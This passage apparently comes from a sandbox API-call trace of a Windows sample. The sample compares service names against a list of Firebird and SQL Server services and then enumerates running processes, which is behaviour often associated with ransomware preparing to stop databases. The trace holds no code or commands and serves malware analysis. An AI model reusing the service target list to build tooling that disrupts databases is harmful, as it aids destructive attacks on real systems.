	[0149.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0149.508] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0149.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0149.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0149.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0149.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0149.508] lstrlenW (lpString="CryptSvc") returned 8
	[0149.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0149.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0149.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0149.509] lstrlenW (lpString="DcomLaunch") returned 10
	[0149.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0149.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0149.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0149.509] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0149.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0149.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0149.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0149.509] lstrlenW (lpString="Dhcp") returned 4
	[0149.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0149.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0149.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0149.509] lstrlenW (lpString="Dnscache") returned 8
	[0149.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0149.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0149.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0149.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0149.510] lstrlenW (lpString="DPS") returned 3
	[0149.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0149.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0149.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0149.510] lstrlenW (lpString="DusmSvc") returned 7
	[0149.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0149.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0149.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0149.510] lstrlenW (lpString="EventLog") returned 8
	[0149.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0149.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0149.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0149.510] lstrlenW (lpString="EventSystem") returned 11
	[0149.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0149.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0149.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0149.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0149.510] lstrlenW (lpString="FontCache") returned 9
	[0149.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0149.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0149.511] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0149.511] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0149.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0149.511] lstrlenW (lpString="gpsvc") returned 5
	[0149.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0149.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0149.511] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0149.511] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0149.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0149.511] lstrlenW (lpString="iphlpsvc") returned 8
	[0149.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0149.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0149.511] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0149.511] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0149.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0149.511] lstrlenW (lpString="KeyIso") returned 6
	[0149.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0149.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0149.511] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0149.511] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0149.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0149.511] lstrlenW (lpString="LanmanServer") returned 12
	[0149.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0149.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0149.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0149.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0149.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0149.512] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0149.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0149.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0149.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0149.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0149.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0149.512] lstrlenW (lpString="lfsvc") returned 5
	[0149.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0149.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0149.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0149.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0149.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0149.512] lstrlenW (lpString="lmhosts") returned 7
	[0149.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0149.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0149.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0149.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0149.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0149.512] lstrlenW (lpString="LSM") returned 3
	[0149.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0149.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0149.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0149.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0149.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0149.512] lstrlenW (lpString="MpsSvc") returned 6
	[0149.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0149.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0149.513] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0149.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0149.513] lstrlenW (lpString="NcbService") returned 10
	[0149.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0149.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0149.513] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0149.513] lstrlenW (lpString="netprofm") returned 8
	[0149.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0149.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0149.513] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0149.513] lstrlenW (lpString="NgcSvc") returned 6
	[0149.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0149.513] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0149.513] lstrlenW (lpString="NlaSvc") returned 6
	[0149.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0149.513] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0149.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0149.513] lstrlenW (lpString="nsi") returned 3
	[0149.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0149.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0149.514] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0149.514] lstrlenW (lpString="PcaSvc") returned 6
	[0149.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0149.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0149.514] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0149.514] lstrlenW (lpString="PlugPlay") returned 8
	[0149.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0149.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0149.514] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0149.514] lstrlenW (lpString="Power") returned 5
	[0149.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0149.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0149.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0149.514] lstrlenW (lpString="ProfSvc") returned 7
	[0149.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0149.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0149.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0149.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0149.514] lstrlenW (lpString="RpcEptMapper") returned 12
	[0149.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0149.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0149.515] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0149.515] lstrlenW (lpString="RpcSs") returned 5
	[0149.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0149.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0149.515] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0149.515] lstrlenW (lpString="SamSs") returned 5
	[0149.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0149.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0149.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0149.515] lstrlenW (lpString="Schedule") returned 8
	[0149.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0149.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0149.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0149.515] lstrlenW (lpString="SecurityHealthService") returned 21
	[0149.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0149.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0149.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0149.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0149.516] lstrlenW (lpString="SENS") returned 4
	[0149.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0149.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0149.516] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0149.516] lstrlenW (lpString="ShellHWDetection") returned 16
	[0149.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0149.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0149.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0149.516] lstrlenW (lpString="Spooler") returned 7
	[0149.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0149.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0149.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0149.516] lstrlenW (lpString="StateRepository") returned 15
	[0149.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0149.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0149.516] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0149.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0149.516] lstrlenW (lpString="SysMain") returned 7
	[0149.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0149.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0149.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0149.517] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0149.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0149.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0149.517] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0149.517] lstrlenW (lpString="Themes") returned 6
	[0149.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0149.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0149.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0149.517] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0149.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0149.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0149.517] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0149.517] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0149.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x463efc0 | out: hHeap=0x4f0000) returned 1
	[0149.517] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x51c
	[0149.543] Process32FirstW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0149.544] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0149.545] lstrlenW (lpString="System") returned 6
	[0149.546] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0149.546] lstrlenW (lpString="smss.exe") returned 8
	[0149.546] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0149.547] lstrlenW (lpString="csrss.exe") returned 9
	[0149.547] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0149.548] lstrlenW (lpString="wininit.exe") returned 11
	[0149.548] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0149.549] lstrlenW (lpString="csrss.exe") returned 9
	[0149.549] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0149.550] lstrlenW (lpString="winlogon.exe") returned 12
	[0149.550] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0149.551] lstrlenW (lpString="services.exe") returned 12
	[0149.551] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0149.552] lstrlenW (lpString="lsass.exe") returned 9
	[0149.552] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0149.553] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0149.554] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0149.554] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0149.555] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.555] lstrlenW (lpString="svchost.exe") returned 11
	[0149.555] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.556] lstrlenW (lpString="svchost.exe") returned 11
	[0149.556] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0149.557] lstrlenW (lpString="dwm.exe") returned 7
	[0149.557] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.558] lstrlenW (lpString="svchost.exe") returned 11
